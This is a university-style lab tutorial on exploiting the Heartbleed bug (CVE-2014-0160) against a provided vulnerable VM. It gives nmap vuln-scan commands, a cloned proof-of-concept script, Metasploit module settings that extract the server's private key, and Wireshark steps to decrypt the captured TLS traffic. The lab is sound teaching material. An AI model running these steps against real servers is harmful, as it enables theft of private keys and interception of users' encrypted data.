ASBTutorials/Lab 5 - TLS & SSL

TLS & SSL

All tasks in this lab are solved using the heartbleed virtual machine provided by CVUT:

https://owncloud.cesnet.cz/index.php/s/WZuwlgevX2dhzYf

Configuration

Boot up the virtual machine and (if necessary in tty1 using CTRL+Alt+1) determine it's IP address:

ip address show

Add local DNS entry for VM:

echo '{ip address} heartbleed.ssb' | sudo tee --append /etc/hosts

Try accessing the website under https://heartbleed.ssb

Vulnerability Scan

Scan for vulnerabilities using:

sudo nmap -sT -sV -p443 --script=vuln heartbleed.ssb

Result includes:

| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       http://cvedetails.com/cve/2014-0160/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_      http://www.openssl.org/news/secadv_20140407.txt

Find & Run Proof of Concept

cd ~
git clone git@github.com:sensepost/heartbleed-poc.git
cd heartbleed-poc
python2 ./heartbleed-poc.py heartbleed.ssb

Result:

WARNING: server heartbleed.ssb returned more data than it should - server is vulnerable!

Get Private Key

Open up msfconsole using the corresponding command:

msfconsole

Configure heartbleed module:

search heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS heartbleed.ssb
set ACTION KEYS

Check

Check whether system is vulnerable:

check

Output:

The target appears to be vulnerable.

Attack

Run attack and get private key:

run

Decrypt Traffic

1. Close Firefox completely
2. Store pre-shared master secret:

   SSLKEYLOGFILE=./keylog.txt firefox
   

3. Configure Wireshark
   1. In Edit => Preferences under RSA Keys, add the private key from the previous attack
   2. In the preferences window under Protocols => TLS, set (Pre)-Master-Secret log filename to the name of the private key file from the previous attack
4. Start a capture on the corresponding network interface

Traffic is now decrypted (notice the green HTTP packets):

View HTTP communication using {Right Click on HTTP packet} => Follow => HTTP Stream: